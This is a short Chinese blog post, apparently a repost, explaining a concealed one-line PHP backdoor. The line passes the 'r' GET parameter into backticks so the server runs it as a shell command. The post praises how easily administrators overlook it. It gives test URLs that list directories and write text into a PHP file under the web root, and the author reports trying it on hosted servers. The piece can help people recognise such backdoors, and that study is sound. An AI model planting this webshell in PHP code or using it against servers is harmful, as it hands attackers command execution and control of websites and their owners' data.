一个不易被发现的PHP后门代码解析

188次阅读
没有评论

原文地址 http://www.jb51.net/article/51894.htm

偶然间看到一段,看起来似乎没有什么问题,确是能致命的后门代码,这里用到了一个一般的 PHPer 都不怎么关注的反撇号 `,反撇号包含的字符串,等同于 shell_exec 函数。

 伪装性很好,很容易被管理员忽略。$selfNums = $_GET['r'];
 if (isset($selfNums)){echo `$selfNums`;}
 刚看到这段代码我想大家都会说没有问题,但是细心的朋友也会发现下面的变量被一个符号包起来了,既然是变量为什么要这样了,

而且又不是单引号,这个就是关键所在了,这个符号是 Esc 下面的一个键(位于感叹号!旁边的),

通过 echo ` 系统命令 `; 可以达到 system(); 一样的效果

如果不信的朋友可以测试

http://127.0.0.1/t.php?r=dir 可以列出目录

http://127.0.0.1/t.php?r=echo 我是马儿 >>D:\web\90sec.php

我用 appserv 和虚拟主机已经测试成功。

正文完
有偿技术支持加微信
post-qrcode
 
评论(没有评论)
验证码